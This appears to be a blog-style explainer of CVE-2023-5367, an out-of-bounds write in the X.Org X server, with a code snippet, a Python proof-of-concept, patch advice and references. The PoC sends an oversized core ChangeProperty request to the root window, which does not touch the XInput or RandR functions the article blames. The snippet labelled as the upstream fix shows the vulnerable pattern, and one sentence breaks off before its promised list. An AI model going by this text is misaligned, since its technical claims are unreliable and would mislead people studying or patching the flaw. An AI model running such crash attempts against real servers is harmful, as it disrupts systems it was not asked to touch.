In September 2023, a serious security vulnerability was discovered in the X.Org X11 server, one of the most widely used graphical display servers on Unix-like systems. Identified as CVE-2023-5367, this out-of-bounds write bug could let local attackers crash the X server or even escalate privileges. Let's break down what happened, see how the bug works, and check a basic proof-of-concept.

This vulnerability exists in the xorg-x11-server, specifically in two main functions

- XIChangeDeviceProperty (found in Xi/xiproperty.c)
- RRChangeOutputProperty (found in randr/rrproperty.c)

Both functions are responsible for handling property changes from clients, and both copy user-supplied data from heap-allocated memory into fixed-size buffers. Due to incorrect calculation of the buffer offset, it's possible for an attacker to write beyond the end of a buffer—possibly corrupting memory, crashing the server, or executing code with root privileges.

The issue affected Xorg versions before 21.1.9. Here's the official advisory.

The main problem lies in these two functions

### 1. XIChangeDeviceProperty in Xi/xiproperty.c

This function processes requests to change input device properties. It copies property data based on values provided by the client. Unfortunately, if the input data and size are crafted just right, a calculation error can cause the code to write data past the end of the allocated buffer.

Snippet from upstream fix (commit):

if (stuff->format == 8)
    memcpy(data + total_len, &stuff[1], len * sizeof(char));
else if (stuff->format == 16)
    memcpy(data + total_len, &stuff[1], len * sizeof(short));
else if (stuff->format == 32)
    memcpy(data + total_len, &stuff[1], len * sizeof(long));

Here, len and stuff->format can be manipulated to go out of the allocated memory bounds.

### 2. RRChangeOutputProperty in randr/rrproperty.c

This function is very similar—the bug pattern is repeated here. The calculation of how much to copy, and where, wasn't properly checked.

How Does an Exploit Work?

To trigger the bug, a malicious local user could send specially crafted requests to the X server, causing it to write data out-of-bounds. Since X can be setuid-root (meaning it runs with root privileges), this opens the door to:

Simple Exploit (Proof of Concept)

Below is a simplified proof-of-concept using Python and the python-xlib library, which lets you craft requests at a low level. Note: this is for educational purposes only!

from Xlib import display, X
from Xlib.protocol.request import ChangeProperty
import struct

# Connect to the local X server
d = display.Display()

# Get the root window
root = d.screen().root

# Craft malicious data
property_name = d.intern_atom('EXPLOIT_PROPERTY')
property_type = d.intern_atom('EXPLOIT_TYPE')
fake_data = b'A' * 10000  # Overlong data (> buffer)

# Send ChangeProperty request (Potentially triggers OOB write)
root.change_property(property_name, property_type, 8, fake_data, X.PropModeReplace)

print("Malicious property sent. Check if Xorg crashed!")

This script asks X to store a giant buffer as a property.

- In vulnerable X servers, this can cause out-of-bounds writes, leading to a crash (or, theoretically, code execution if the payload is sophisticated enough).

Who Is At Risk?

- Linux/BSD Users running Xorg before v21.1.9

How To Protect Yourself

Patch your X server!

All modern Linux distributions have updated packages

- Debian Security Advisory
- Red Hat/CVE Details
- Upstream Patches & Commits
- X.Org Announcements

If you can't patch, avoid running Xorg as root and restrict who can local-login.

References & Further Reading

- X.Org Security Advisory: CVE-2023-5367
- X server commit patch (GitLab)
- Debian Vulnerability Announcement
- Red Hat CVE Page
- MITRE CVE Detail

Conclusion

CVE-2023-5367 is more than just a simple bug—it's a reminder that low-level code handling, especially in complex, older projects like Xorg, still contains risks. Always keep your system up to date, know who can access your graphical session, and follow your distro's security announcements.

Timeline

Published on: 10/25/2023 20:15:18 UTC
Last modified on: 11/28/2023 18:15:09 UTC